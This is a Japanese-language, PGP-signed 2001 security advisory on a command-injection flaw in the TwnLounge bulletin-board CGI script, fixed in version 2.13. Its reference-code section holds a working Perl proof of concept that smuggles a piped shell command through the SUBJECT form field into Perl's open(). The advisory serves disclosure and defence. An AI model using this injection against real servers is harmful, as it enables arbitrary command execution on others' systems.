-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ====================================================================== CGI PROGRAM SECURITY ADVISORY [TWN Lounge 2.11, 2.12] 2001/05/03 ====================================================================== http://www.ansi.co.jp/cgi/security/advisories/twn-lounge_2001_05_03.txt ====================================================================== ■ 影響を受けるCGIプログラム * とほほのWWW入門 ラウンジ (TwnLounge) 2.11, 2.12 (これ以前の全てのバージョンには同様の問題が存在する可能性があります。) ■ 概要 とほほのWWW入門 ラウンジ (TwnLounge) 2.11, 2.12 は杜甫々氏によって作成 された掲示板CGIプログラムです。このプログラムには外部から任意のコマン ドが実行可能となるセキュリティ上の問題点があります。 とほほのWWW入門 ラウンジ (TwnLounge): http://tohoho.wakusei.ne.jp/wwwsoft.htm ■ 解説 とほほのWWW入門 ラウンジ (TwnLounge) 2.11, 2.12 では外部から与えられた データの汚染チェックを怠っているため、結果的に open 関数の第2引数とな る文字列の末尾に一部の文字を除く任意の文字列を与えることが可能です。こ のため、悪意のある入力が行われた場合には、外部から CGI プログラムの動 作権限で任意のコマンドが実行可能です。 ■ 影響 CGIプログラムが各ユーザ権限で実行されるシステム (Apache + SuEXEC など) の場合、そのユーザの権限で任意の操作をすることが可能です。これによって ユーザ環境が破壊される可能性があります。そうではない場合でも、CGI プロ グラムの実行 UID で任意の操作が可能です。 ■ 回避方法 とほほのWWW入門 ラウンジ (WwwLounge) 2.13 にバージョンアップすることで この問題を回避することが出来ます。 ■ 参考コード #! /use/bin/perl -w use LWP::UserAgent; # executes "ls -lR > /tmp/ls-lR" $request = new HTTP::Request("POST" => "http://localhost/~yasu/tmp/wwwlng211/wwwlng.cgi?new2", undef, q[SUBJECT=gao%0AReply-To:+|perl+-e+'system+"ls+-lR+\076+/tmp/ls-lR"'|&] . "NAME=nobody&" . "EMAIL=nobody\@example.com&" . "HPAGE=http://www.ansi.co.jp/cgi/security/advisories/&" . "MESSAGE=%B4%D1%CE%EB%A4%C1%A4%F3". "%A5%CF%A5%A1%A5%CF%A5%A1%0A"); $ua = new LWP::UserAgent; $ua->request($request); __END__ ■ 状態 2001/04/22: 通知 2001/05/03: 公開 2001/05/17: 参考コードを追加 ====================================================================== (C) 2001 ASUKA NETWORK SERVICE, INC. http://www.ansi.co.jp/ HIRATA YASUYUKI http://yasu.asuka.net/ All rights reserved. * この文書に書かれている内容は無保証です。 * この文書に書かれている内容を利用して攻撃を行った場合、刑事上・民事上 の責任を問われることがあります。 * このファイルは内容の変更 (電子署名の除去を含む) が行われない限り自由 に再配布可能です。 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7rqeNduP2KhBu8ikRAioeAKCZ7FMJcdzhcZud+rJe+YNeTAMj1QCg3w6e +mfTJTw5vlzVy/JYSW+3AASIPwMFATuup43CitaZXxzdBBECKh4An2dNwEjs/vhP LzDNSaD02DmndWV5AKCJP3Mwb4KecEYzD/PwgRRMIop8PA== =hfw9 -----END PGP SIGNATURE-----